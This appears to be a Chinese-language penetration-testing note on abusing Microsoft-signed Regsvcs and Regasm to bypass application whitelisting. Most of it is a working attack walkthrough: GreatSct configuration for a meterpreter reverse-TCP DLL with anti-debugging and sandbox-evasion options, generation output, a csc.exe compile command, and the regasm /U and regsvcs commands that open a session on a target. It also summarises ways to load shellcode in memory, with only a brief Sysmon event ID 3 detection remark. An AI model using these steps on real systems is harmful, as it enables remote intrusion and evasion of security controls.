Regsvcs & Regasm
Regsvcs和Regasm是Windows命令行实用程序,用于注册.NET组件对象模型(COM)程序集。两者都是由Microsoft进行数字签名的。
攻击者可以使用Regsvcs和Regasm代理通过受信任的Windows实用程序执行代码。两个实用程序可用于通过使用二进制内的属性来绕过进程白名单,以指定应在注册或取消注册之前运行的代码:[ComRegisterFunction]或[ComUnregisterFunction]分别。即使进程在权限不足的情况下运行并且无法执行,也将执行具有注册和取消注册属性的代码。
regasm
目前只知道.netframework 4.0
的利用方式——GreatSct框架。
仔细看下配置项,看来也有反调试措施。
Payload: regasm/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
COMPILE_TO_DLL Y Compile to a DLL
DEBUGGER X Optional: Check if debugger is attached
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Heap Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account
然后执行generate
[*] Language: regasm
[*] Payload Module: regasm/meterpreter/rev_tcp
[*] DLL written to: /usr/share/greatsct-output/compiled/payload1.dll
[*] Source code written to: /usr/share/greatsct-output/source/payload1.cs
[*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload1.dll
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload1.rc
在msfconsole
上show advanced
是个好习惯,可以看到更多的配置项。
可以选择手动编译源文件
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library payload.cs
目标机上加载生成好的payload.dll即可创建会话
C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U C:\payload1.dll
Microsoft (R) .NET Framework Assembly Registration Utility 4.0.30319.1
Copyright (C) Microsoft Corporation 1998-2004. All rights reserved.
僵在这里不动了
sysmon日志
regasm.exe
会发起反弹连接,触发事件ID 3
regsvcs
唯一的要求是组装的文件需要使用强名称进行签名。 Microsoft已经发布了名为Sn.exe(Strong Name Tool)的实用程序,它是Visual Studio和.NET框架工具的一部分,可用于生成一对公钥和私钥。
可以跟上面一样手动编译源文件(并不需要sn生成的key)
GreatSct
会帮你编译好dll文件,直接在目标机上执行即可获得会话。
C:\Users\Administrator>C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
c:\payload2.dll
Microsoft (R) .NET Framework Services Installation Utility Version 4.0.30319.1
Copyright (c) Microsoft Corporation. All rights reserved.
也是僵在这边
sysmon日志
regasm.exe
也会发起反弹连接,触发事件ID 3
自我小结
- 利用编程语言c#可以在内存加载shellcode,在目标主机上用net框架的csc.exe来编译成dll或者pe,借助白名单exe调用执行。
- 本机直接生成dll或者pe,借助白名单exe调用执行。
- 加载远程或本地
sct
文件或者inf
文件,里面用js(或vb)生成wscript.shell
对象并执行命令。而这些命令可以是1、2点 - 目前能直接内存落地shellcode只有powershell。